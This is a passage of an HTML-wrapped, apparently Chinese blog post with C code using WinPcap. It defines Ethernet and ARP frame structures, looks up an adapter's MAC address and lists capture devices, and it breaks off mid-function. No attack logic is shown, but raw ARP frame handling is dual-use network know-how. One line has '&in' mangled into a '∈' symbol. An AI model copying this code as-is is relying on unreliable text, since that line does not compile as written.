style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#pragma&nbsp;comment(lib,&#8221;Iphlpapi.lib&#8221;)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#pragma&nbsp;comment(lib,&#8221;pcap.lib&#8221;)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct&nbsp;DLC_Header<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;DesMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;SrcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;EtherType;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5e27\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;DLCHEADER;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct&nbsp;ARP_Frame<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;HW_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u786c\u4ef6\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Prot_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;HW_Addr_Len;&nbsp;&nbsp;&nbsp;&nbsp;\/\/MAC\u5730\u5740\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Prot_Addr_Len;&nbsp;&nbsp;\/\/IP\u5730\u5740\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Opcode;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u64cd\u4f5c\u7801,01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_HW_Addr[6];&nbsp;\/\/\u53d1\u9001\u7aefMAC\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u53d1\u9001\u7aefIP\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_HW_Addr[6];&nbsp;\/\/\u76ee\u6807MAC\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807IP\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;ARPFRAME;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;GetAdapterMAC(char&nbsp;*ipbuff,char&nbsp;*macbuff)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u7f51\u5361MAC<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;IP_ADAPTER_INFO&nbsp;AdapterInfo[16];&nbsp;&nbsp;\/\/\u5b9a\u4e49\u5b58\u50a8\u7f51\u5361\u4fe1\u606f\u7684\u7ed3\u6784\u6570\u7ec4<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;ArrayLength=sizeof(AdapterInfo);&nbsp;&nbsp;\/\/\u7f13\u51b2\u533a\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdaptersInfo(AdapterInfo,&amp;ArrayLength)!=ERROR_SUCCESS)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;PIP_ADAPTER_INFO&nbsp;PAdapterInfo=AdapterInfo;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;do<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(ipbuff,PAdapterInfo-&gt;IpAddressList.IpAddress.String))&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAdapterInfo=PAdapterInfo-&gt;Next;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(PAdapterInfo);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(macbuff,NULL,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(macbuff,PAdapterInfo-&gt;Address,6);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u7f51\u5361MAC\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">char&nbsp;*iptos(u_long&nbsp;in)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;char&nbsp;output[12][3*4+3+1];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;short&nbsp;which;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;*p;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(u_char&nbsp;*)\u2208<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;which&nbsp;=&nbsp;(which&nbsp;+&nbsp;1&nbsp;==&nbsp;12&nbsp;?&nbsp;0&nbsp;:&nbsp;which&nbsp;+&nbsp;1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output[which],&nbsp;&#8220;%d.%d.%d.%d&#8221;,&nbsp;p[0],&nbsp;p[1],&nbsp;p[2],&nbsp;p[3]);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;output[which];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;ChooseDev(char&nbsp;*devbuff,int&nbsp;buffsize,char&nbsp;*ipbuff)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_if_t&nbsp;*alldevs=NULL,*p=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuff[PCAP_ERRBUF_SIZE];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i,choose;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_addr_t&nbsp;*a=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(devbuff,NULL,buffsize);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=0;&nbsp;p;&nbsp;p=p-&gt;next)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((a=p-&gt;addresses))<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(a-&gt;addr-&gt;sa_family)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;AF_INET:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;AF_INET\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;addr)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;IP&nbsp;\u5730\u5740&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;netmask)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;\u63a9\u7801&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Netmask:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;netmask)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;\u672a\u77e5&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;Unknown\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p 